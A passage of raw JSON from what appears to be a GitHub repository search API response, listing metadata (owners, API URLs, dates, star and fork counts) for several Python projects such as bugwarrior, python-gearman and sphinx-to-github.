https://github.com/sorl/django-cbv","fork":false,"url":"https://api.github.com/repos/bfirsh/django-class-based-views","forks_url":"https://api.github.com/repos/bfirsh/django-class-based-views/forks","keys_url":"https://api.github.com/repos/bfirsh/django-class-based-views/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bfirsh/django-class-based-views/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bfirsh/django-class-based-views/teams","hooks_url":"https://api.github.com/repos/bfirsh/django-class-based-views/hooks","issue_events_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues/events{/number}","events_url":"https://api.github.com/repos/bfirsh/django-class-based-views/events","assignees_url":"https://api.github.com/repos/bfirsh/django-class-based-views/assignees{/user}","branches_url":"https://api.github.com/repos/bfirsh/django-class-based-views/branches{/branch}","tags_url":"https://api.github.com/repos/bfirsh/django-class-based-views/tags","blobs_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/refs{/sha}","trees_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bfirsh/django-class-based-views/statuses/{sha}","languages_url":"https://api.github.com/repos/bfirsh/django-class-based-views/languages","stargazers_url":"https://api.github.com/repos/bfirsh/django-class-based-views/stargazers","contributors_url":"https://api.github.com/repos/bfirsh/django-class-based-views/contributors","subscribers_url":"https://api.github.com/repos/bfirsh/django-class-based-views/subscribers","subscription_url":"https://api.github.com/repos/bfirsh/django-class-based-views/subscription","commits_url":"https://api.github.com/repos/bfirsh/django-class-based-views/commits{/sha}","git_commits_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/commits{/sha}","comments_url":"https://api.github.com/repos/bfirsh/django-class-based-views/comments{/number}","issue_comment_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues/comments/{number}","contents_url":"https://api.github.com/repos/bfirsh/django-class-based-views/contents/{+path}","compare_url":"https://api.github.com/repos/bfirsh/django-class-based-views/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bfirsh/django-class-based-views/merges","archive_url":"https://api.github.com/repos/bfirsh/django-class-based-views/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bfirsh/django-class-based-views/downloads","issues_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues{/number}","pulls_url":"https://api.github.com/repos/bfirsh/django-class-based-views/pulls{/number}","milestones_url":"https://api.github.com/repos/bfirsh/django-class-based-views/milestones{/number}","notifications_url":"https://api.github.com/repos/bfirsh/django-class-based-views/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bfirsh/django-class-based-views/labels{/name}","releases_url":"https://api.github.com/repos/bfirsh/django-class-based-views/releases{/id}","created_at":"2010-05-27T09:41:08Z","updated_at":"2013-10-09T07:00:13Z","pushed_at":"2010-10-12T22:37:43Z","git_url":"git://github.com/bfirsh/django-class-based-views.git","ssh_url":"git@github.com:bfirsh/django-class-based-views.git","clone_url":"https://github.com/bfirsh/django-class-based-views.git","svn_url":"https://github.com/bfirsh/django-class-based-views","homepage":"http://code.djangoproject.com/ticket/6735","size":146,"stargazers_count":82,"watchers_count":82,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":9,"mirror_url":null,"open_issues_count":2,"forks":9,"open_issues":2,"watchers":82,"default_branch":"master","master_branch":"master","score":5.0480146},{"id":1573719,"name":"python-github3","full_name":"kennethreitz-archive/python-github3","owner":{"login":"kennethreitz-archive","id":2083354,"avatar_url":"https://avatars.githubusercontent.com/u/2083354","gravatar_id":"39004cc26cddad79ad533e8d12766f5c","url":"https://api.github.com/users/kennethreitz-archive","html_url":"https://github.com/kennethreitz-archive","followers_url":"https://api.github.com/users/kennethreitz-archive/followers","following_url":"https://api.github.com/users/kennethreitz-archive/following{/other_user}","gists_url":"https://api.github.com/users/kennethreitz-archive/gists{/gist_id}","starred_url":"https://api.github.com/users/kennethreitz-archive/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kennethreitz-archive/subscriptions","organizations_url":"https://api.github.com/users/kennethreitz-archive/orgs","repos_url":"https://api.github.com/users/kennethreitz-archive/repos","events_url":"https://api.github.com/users/kennethreitz-archive/events{/privacy}","received_events_url":"https://api.github.com/users/kennethreitz-archive/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/kennethreitz-archive/python-github3","description":"[In Progress] Python wrapper for the new GitHub API.","fork":false,"url":"https://api.github.com/repos/kennethreitz-archive/python-github3","forks_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/forks","keys_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/teams","hooks_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/hooks","issue_events_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues/events{/number}","events_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/events","assignees_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/assignees{/user}","branches_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/branches{/branch}","tags_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/tags","blobs_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/refs{/sha}","trees_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/statuses/{sha}","languages_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/languages","stargazers_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/stargazers","contributors_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/contributors","subscribers_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/subscribers","subscription_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/subscription","commits_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/commits{/sha}","git_commits_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/commits{/sha}","comments_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/comments{/number}","issue_comment_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues/comments/{number}","contents_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/contents/{+path}","compare_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/merges","archive_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/downloads","issues_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues{/number}","pulls_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/pulls{/number}","milestones_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/milestones{/number}","notifications_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/labels{/name}","releases_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/releases{/id}","created_at":"2011-04-05T19:54:24Z","updated_at":"2014-01-06T07:29:11Z","pushed_at":"2011-12-27T04:39:43Z","git_url":"git://github.com/kennethreitz-archive/python-github3.git","ssh_url":"git@github.com:kennethreitz-archive/python-github3.git","clone_url":"https://github.com/kennethreitz-archive/python-github3.git","svn_url":"https://github.com/kennethreitz-archive/python-github3","homepage":"developer.github.com/v3","size":181,"stargazers_count":80,"watchers_count":80,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":52,"mirror_url":null,"open_issues_count":1,"forks":52,"open_issues":1,"watchers":80,"default_branch":"master","master_branch":"master","score":21.971436},{"id":178899,"name":"github-tools","full_name":"dinoboff/github-tools","owner":{"login":"dinoboff","id":6830,"avatar_url":"https://avatars.githubusercontent.com/u/6830","gravatar_id":"16ceb28d7e6867f78e92c3b82ac01b48","url":"https://api.github.com/users/dinoboff","html_url":"https://github.com/dinoboff","followers_url":"https://api.github.com/users/dinoboff/followers","following_url":"https://api.github.com/users/dinoboff/following{/other_user}","gists_url":"https://api.github.com/users/dinoboff/gists{/gist_id}","starred_url":"https://api.github.com/users/dinoboff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dinoboff/subscriptions","organizations_url":"https://api.github.com/users/dinoboff/orgs","repos_url":"https://api.github.com/users/dinoboff/repos","events_url":"https://api.github.com/users/dinoboff/events{/privacy}","received_events_url":"https://api.github.com/users/dinoboff/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dinoboff/github-tools","description":"Helpers for hosting python projects on GitHub","fork":false,"url":"https://api.github.com/repos/dinoboff/github-tools","forks_url":"https://api.github.com/repos/dinoboff/github-tools/forks","keys_url":"https://api.github.com/repos/dinoboff/github-tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dinoboff/github-tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dinoboff/github-tools/teams","hooks_url":"https://api.github.com/repos/dinoboff/github-tools/hooks","issue_events_url":"https://api.github.com/repos/dinoboff/github-tools/issues/events{/number}","events_url":"https://api.github.com/repos/dinoboff/github-tools/events","assignees_url":"https://api.github.com/repos/dinoboff/github-tools/assignees{/user}","branches_url":"https://api.github.com/repos/dinoboff/github-tools/branches{/branch}","tags_url":"https://api.github.com/repos/dinoboff/github-tools/tags","blobs_url":"https://api.github.com/repos/dinoboff/github-tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dinoboff/github-tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dinoboff/github-tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/dinoboff/github-tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dinoboff/github-tools/statuses/{sha}","languages_url":"https://api.github.com/repos/dinoboff/github-tools/languages","stargazers_url":"https://api.github.com/repos/dinoboff/github-tools/stargazers","contributors_url":"https://api.github.com/repos/dinoboff/github-tools/contributors","subscribers_url":"https://api.github.com/repos/dinoboff/github-tools/subscribers","subscription_url":"https://api.github.com/repos/dinoboff/github-tools/subscription","commits_url":"https://api.github.com/repos/dinoboff/github-tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/dinoboff/github-tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/dinoboff/github-tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/dinoboff/github-tools/issues/comments/{number}","contents_url":"https://api.github.com/repos/dinoboff/github-tools/contents/{+path}","compare_url":"https://api.github.com/repos/dinoboff/github-tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dinoboff/github-tools/merges","archive_url":"https://api.github.com/repos/dinoboff/github-tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dinoboff/github-tools/downloads","issues_url":"https://api.github.com/repos/dinoboff/github-tools/issues{/number}","pulls_url":"https://api.github.com/repos/dinoboff/github-tools/pulls{/number}","milestones_url":"https://api.github.com/repos/dinoboff/github-tools/milestones{/number}","notifications_url":"https://api.github.com/repos/dinoboff/github-tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dinoboff/github-tools/labels{/name}","releases_url":"https://api.github.com/repos/dinoboff/github-tools/releases{/id}","created_at":"2009-04-17T22:01:03Z","updated_at":"2013-10-31T08:20:36Z","pushed_at":"2011-09-29T09:10:26Z","git_url":"git://github.com/dinoboff/github-tools.git","ssh_url":"git@github.com:dinoboff/github-tools.git","clone_url":"https://github.com/dinoboff/github-tools.git","svn_url":"https://github.com/dinoboff/github-tools","homepage":"http://dinoboff.github.com/github-tools/","size":483,"stargazers_count":79,"watchers_count":79,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":5,"mirror_url":null,"open_issues_count":2,"forks":5,"open_issues":2,"watchers":79,"default_branch":"master","master_branch":"master","score":11.083623},{"id":2985492,"name":"bugwarrior","full_name":"ralphbean/bugwarrior","owner":{"login":"ralphbean","id":331338,"avatar_url":"https://avatars.githubusercontent.com/u/331338","gravatar_id":"ba940b433c2695635d32d2c4aec00540","url":"https://api.github.com/users/ralphbean","html_url":"https://github.com/ralphbean","followers_url":"https://api.github.com/users/ralphbean/followers","following_url":"https://api.github.com/users/ralphbean/following{/other_user}","gists_url":"https://api.github.com/users/ralphbean/gists{/gist_id}","starred_url":"https://api.github.com/users/ralphbean/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ralphbean/subscriptions","organizations_url":"https://api.github.com/users/ralphbean/orgs","repos_url":"https://api.github.com/users/ralphbean/repos","events_url":"https://api.github.com/users/ralphbean/events{/privacy}","received_events_url":"https://api.github.com/users/ralphbean/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ralphbean/bugwarrior","description":"Pull github, bitbucket, and trac issues into taskwarrior","fork":false,"url":"https://api.github.com/repos/ralphbean/bugwarrior","forks_url":"https://api.github.com/repos/ralphbean/bugwarrior/forks","keys_url":"https://api.github.com/repos/ralphbean/bugwarrior/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ralphbean/bugwarrior/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ralphbean/bugwarrior/teams","hooks_url":"https://api.github.com/repos/ralphbean/bugwarrior/hooks","issue_events_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues/events{/number}","events_url":"https://api.github.com/repos/ralphbean/bugwarrior/events","assignees_url":"https://api.github.com/repos/ralphbean/bugwarrior/assignees{/user}","branches_url":"https://api.github.com/repos/ralphbean/bugwarrior/branches{/branch}","tags_url":"https://api.github.com/repos/ralphbean/bugwarrior/tags","blobs_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/refs{/sha}","trees_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ralphbean/bugwarrior/statuses/{sha}","languages_url":"https://api.github.com/repos/ralphbean/bugwarrior/languages","stargazers_url":"https://api.github.com/repos/ralphbean/bugwarrior/stargazers","contributors_url":"https://api.github.com/repos/ralphbean/bugwarrior/contributors","subscribers_url":"https://api.github.com/repos/ralphbean/bugwarrior/subscribers","subscription_url":"https://api.github.com/repos/ralphbean/bugwarrior/subscription","commits_url":"https://api.github.com/repos/ralphbean/bugwarrior/commits{/sha}","git_commits_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/commits{/sha}","comments_url":"https://api.github.com/repos/ralphbean/bugwarrior/comments{/number}","issue_comment_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues/comments/{number}","contents_url":"https://api.github.com/repos/ralphbean/bugwarrior/contents/{+path}","compare_url":"https://api.github.com/repos/ralphbean/bugwarrior/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ralphbean/bugwarrior/merges","archive_url":"https://api.github.com/repos/ralphbean/bugwarrior/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ralphbean/bugwarrior/downloads","issues_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues{/number}","pulls_url":"https://api.github.com/repos/ralphbean/bugwarrior/pulls{/number}","milestones_url":"https://api.github.com/repos/ralphbean/bugwarrior/milestones{/number}","notifications_url":"https://api.github.com/repos/ralphbean/bugwarrior/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ralphbean/bugwarrior/labels{/name}","releases_url":"https://api.github.com/repos/ralphbean/bugwarrior/releases{/id}","created_at":"2011-12-15T05:02:33Z","updated_at":"2014-02-14T19:44:10Z","pushed_at":"2014-02-14T19:44:09Z","git_url":"git://github.com/ralphbean/bugwarrior.git","ssh_url":"git@github.com:ralphbean/bugwarrior.git","clone_url":"https://github.com/ralphbean/bugwarrior.git","svn_url":"https://github.com/ralphbean/bugwarrior","homepage":"http://pypi.python.org/pypi/bugwarrior","size":766,"stargazers_count":82,"watchers_count":82,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":27,"mirror_url":null,"open_issues_count":14,"forks":27,"open_issues":14,"watchers":82,"default_branch":"develop","master_branch":"develop","score":12.610705},{"id":9423725,"name":"github-network-analysis","full_name":"coyotebush/github-network-analysis","owner":{"login":"coyotebush","id":227091,"avatar_url":"https://avatars.githubusercontent.com/u/227091","gravatar_id":"c6d20de3d11eaaad7278a76dc25296a4","url":"https://api.github.com/users/coyotebush","html_url":"https://github.com/coyotebush","followers_url":"https://api.github.com/users/coyotebush/followers","following_url":"https://api.github.com/users/coyotebush/following{/other_user}","gists_url":"https://api.github.com/users/coyotebush/gists{/gist_id}","starred_url":"https://api.github.com/users/coyotebush/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coyotebush/subscriptions","organizations_url":"https://api.github.com/users/coyotebush/orgs","repos_url":"https://api.github.com/users/coyotebush/repos","events_url":"https://api.github.com/users/coyotebush/events{/privacy}","received_events_url":"https://api.github.com/users/coyotebush/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/coyotebush/github-network-analysis","description":"Analysis and visualization of top GitHub repositories","fork":false,"url":"https://api.github.com/repos/coyotebush/github-network-analysis","forks_url":"https://api.github.com/repos/coyotebush/github-network-analysis/forks","keys_url":"https://api.github.com/repos/coyotebush/github-network-analysis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coyotebush/github-network-analysis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coyotebush/github-network-analysis/teams","hooks_url":"https://api.github.com/repos/coyotebush/github-network-analysis/hooks","issue_events_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues/events{/number}","events_url":"https://api.github.com/repos/coyotebush/github-network-analysis/events","assignees_url":"https://api.github.com/repos/coyotebush/github-network-analysis/assignees{/user}","branches_url":"https://api.github.com/repos/coyotebush/github-network-analysis/branches{/branch}","tags_url":"https://api.github.com/repos/coyotebush/github-network-analysis/tags","blobs_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/refs{/sha}","trees_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coyotebush/github-network-analysis/statuses/{sha}","languages_url":"https://api.github.com/repos/coyotebush/github-network-analysis/languages","stargazers_url":"https://api.github.com/repos/coyotebush/github-network-analysis/stargazers","contributors_url":"https://api.github.com/repos/coyotebush/github-network-analysis/contributors","subscribers_url":"https://api.github.com/repos/coyotebush/github-network-analysis/subscribers","subscription_url":"https://api.github.com/repos/coyotebush/github-network-analysis/subscription","commits_url":"https://api.github.com/repos/coyotebush/github-network-analysis/commits{/sha}","git_commits_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/commits{/sha}","comments_url":"https://api.github.com/repos/coyotebush/github-network-analysis/comments{/number}","issue_comment_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues/comments/{number}","contents_url":"https://api.github.com/repos/coyotebush/github-network-analysis/contents/{+path}","compare_url":"https://api.github.com/repos/coyotebush/github-network-analysis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coyotebush/github-network-analysis/merges","archive_url":"https://api.github.com/repos/coyotebush/github-network-analysis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coyotebush/github-network-analysis/downloads","issues_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues{/number}","pulls_url":"https://api.github.com/repos/coyotebush/github-network-analysis/pulls{/number}","milestones_url":"https://api.github.com/repos/coyotebush/github-network-analysis/milestones{/number}","notifications_url":"https://api.github.com/repos/coyotebush/github-network-analysis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coyotebush/github-network-analysis/labels{/name}","releases_url":"https://api.github.com/repos/coyotebush/github-network-analysis/releases{/id}","created_at":"2013-04-14T03:10:15Z","updated_at":"2013-12-31T03:55:51Z","pushed_at":"2013-05-06T18:32:33Z","git_url":"git://github.com/coyotebush/github-network-analysis.git","ssh_url":"git@github.com:coyotebush/github-network-analysis.git","clone_url":"https://github.com/coyotebush/github-network-analysis.git","svn_url":"https://github.com/coyotebush/github-network-analysis","homepage":"http://coyotebush.github.io/github-network-analysis/","size":2321,"stargazers_count":75,"watchers_count":75,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":4,"mirror_url":null,"open_issues_count":2,"forks":4,"open_issues":2,"watchers":75,"default_branch":"master","master_branch":"master","score":7.5912576},{"id":185554,"name":"python-gearman","full_name":"samuel/python-gearman","owner":{"login":"samuel","id":8503,"avatar_url":"https://avatars.githubusercontent.com/u/8503","gravatar_id":"f9aaf4c4a1728ef0f36a7f43c3e4e3e9","url":"https://api.github.com/users/samuel","html_url":"https://github.com/samuel","followers_url":"https://api.github.com/users/samuel/followers","following_url":"https://api.github.com/users/samuel/following{/other_user}","gists_url":"https://api.github.com/users/samuel/gists{/gist_id}","starred_url":"https://api.github.com/users/samuel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samuel/subscriptions","organizations_url":"https://api.github.com/users/samuel/orgs","repos_url":"https://api.github.com/users/samuel/repos","events_url":"https://api.github.com/users/samuel/events{/privacy}","received_events_url":"https://api.github.com/users/samuel/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/samuel/python-gearman","description":"(maintenance transfered to http://github.com/Yelp/python-gearman) Gearman library for Python.","fork":false,"url":"https://api.github.com/repos/samuel/python-gearman","forks_url":"https://api.github.com/repos/samuel/python-gearman/forks","keys_url":"https://api.github.com/repos/samuel/python-gearman/keys{/key_id}","collaborators_url":"https://api.github.com/repos/samuel/python-gearman/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/samuel/python-gearman/teams","hooks_url":"https://api.github.com/repos/samuel/python-gearman/hooks","issue_events_url":"https://api.github.com/repos/samuel/python-gearman/issues/events{/number}","events_url":"https://api.github.com/repos/samuel/python-gearman/events","assignees_url":"https://api.github.com/repos/samuel/python-gearman/assignees{/user}","branches_url":"https://api.github.com/repos/samuel/python-gearman/branches{/branch}","tags_url":"https://api.github.com/repos/samuel/python-gearman/tags","blobs_url":"https://api.github.com/repos/samuel/python-gearman/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/samuel/python-gearman/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/samuel/python-gearman/git/refs{/sha}","trees_url":"https://api.github.com/repos/samuel/python-gearman/git/trees{/sha}","statuses_url":"https://api.github.com/repos/samuel/python-gearman/statuses/{sha}","languages_url":"https://api.github.com/repos/samuel/python-gearman/languages","stargazers_url":"https://api.github.com/repos/samuel/python-gearman/stargazers","contributors_url":"https://api.github.com/repos/samuel/python-gearman/contributors","subscribers_url":"https://api.github.com/repos/samuel/python-gearman/subscribers","subscription_url":"https://api.github.com/repos/samuel/python-gearman/subscription","commits_url":"https://api.github.com/repos/samuel/python-gearman/commits{/sha}","git_commits_url":"https://api.github.com/repos/samuel/python-gearman/git/commits{/sha}","comments_url":"https://api.github.com/repos/samuel/python-gearman/comments{/number}","issue_comment_url":"https://api.github.com/repos/samuel/python-gearman/issues/comments/{number}","contents_url":"https://api.github.com/repos/samuel/python-gearman/contents/{+path}","compare_url":"https://api.github.com/repos/samuel/python-gearman/compare/{base}...{head}","merges_url":"https://api.github.com/repos/samuel/python-gearman/merges","archive_url":"https://api.github.com/repos/samuel/python-gearman/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/samuel/python-gearman/downloads","issues_url":"https://api.github.com/repos/samuel/python-gearman/issues{/number}","pulls_url":"https://api.github.com/repos/samuel/python-gearman/pulls{/number}","milestones_url":"https://api.github.com/repos/samuel/python-gearman/milestones{/number}","notifications_url":"https://api.github.com/repos/samuel/python-gearman/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/samuel/python-gearman/labels{/name}","releases_url":"https://api.github.com/repos/samuel/python-gearman/releases{/id}","created_at":"2009-04-25T19:25:43Z","updated_at":"2013-12-18T01:26:25Z","pushed_at":"2012-09-07T17:14:37Z","git_url":"git://github.com/samuel/python-gearman.git","ssh_url":"git@github.com:samuel/python-gearman.git","clone_url":"https://github.com/samuel/python-gearman.git","svn_url":"https://github.com/samuel/python-gearman","homepage":"http://github.com/mtai/python-gearman","size":188,"stargazers_count":75,"watchers_count":75,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":17,"mirror_url":null,"open_issues_count":0,"forks":17,"open_issues":0,"watchers":75,"default_branch":"master","master_branch":"master","score":7.3417816},{"id":185320,"name":"sphinx-to-github","full_name":"michaeljones/sphinx-to-github","owner":{"login":"michaeljones","id":5390,"avatar_url":"https://avatars.githubusercontent.com/u/5390","gravatar_id":"f5cdf7d9c554d8dcfbe9c2c83bccb8a9","url":"https://api.github.com/users/michaeljones","html_url":"https://github.com/michaeljones","followers_url":"https://api.github.com/users/michaeljones/followers","following_url":"https://api.github.com/users/michaeljones/following{/other_user}","gists_url":"https://api.github.com/users/michaeljones/gists{/gist_id}","starred_url":"https://api.github.com/users/michaeljones/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaeljones/subscriptions","organizations_url":"https://api.github.com/users/michaeljones/orgs","repos_url":"https://api.github.com/users/michaeljones/repos","events_url":"https://api.github.com/users/michaeljones/events{/privacy}","received_events_url":"https://api.github.com/users/michaeljones/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/michaeljones/sphinx-to-github","description":"Script to prepare Sphinx html output for github pages.","fork":false,"url":"https://api.github.com/repos/michaeljones/sphinx-to-github","forks_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/forks","keys_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/keys{/key_id}","collaborators_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/teams","hooks_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/hooks","issue_events_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues/events{/number}","events_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/events","assignees_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/assignees{/user}","branches_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/branches{/branch}","tags_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/tags","blobs_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/refs{/sha}","trees_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/trees{/sha}","statuses_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/statuses/{sha}","languages_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/languages","stargazers_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/stargazers","contributors_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/contributors","subscribers_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/subscribers","subscription_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/subscription","commits_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/commits{/sha}","git_commits_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/commits{/sha}","comments_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/comments{/number}","issue_comment_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues/comments/{number}","contents_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/contents/{+path}","compare_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/compare/{base}...{head}","merges_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/merges","archive_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/downloads","issues_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues{/number}","pulls_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/pulls{/number}","milestones_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/milestones{/number}","notifications_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/labels{/name}","releases_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/releases{/id}","created_at":"2009-04-25T12:48:14Z","updated_at":"2013-12-03T17:05:36Z","pushed_at":"2013-10-26T00:39:13Z","git_url":"git://github.com/michaeljones/sphinx-to-github.git","ssh_url":"git@github.com:michaeljones/sphinx-to-github.git","clone_url":"https://github.com/michaeljones/sphinx-to-github.git","svn_url":"https://github.com/michaeljones/sphinx-to-github","homepage":"","size":140,"stargazers_count":72,"watchers_count":72,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":15,"mirror_url":null,"open_issues_count":1,"forks":15,"open_issues":1,"watchers":72,"default_branch":"master","master_branch":"master","score":14.550171},{"id":2252620,"name":"ST2-GitHubinator","full_name":"ehamiter/ST2-GitHubinator","owner":{"login":"ehamiter","id":634230,"avatar_url":"https://avatars.githubusercontent.com/u/634230","gravatar_id":"73c0faef06e3be0cef545cc5585fa582","url":"https://api.github.com/users/ehamiter","html_url":"https://github.com/ehamiter","followers_url":"https://api.github.com/users/ehamiter/followers","following_url":"https://api.github.com/users/ehamiter/following{/other_user}","gists_url":"https://api.github.com/users/ehamiter/gists{/gist_id}","starred_url":"https://api.github.com/users/ehamiter/starred{/owner}{/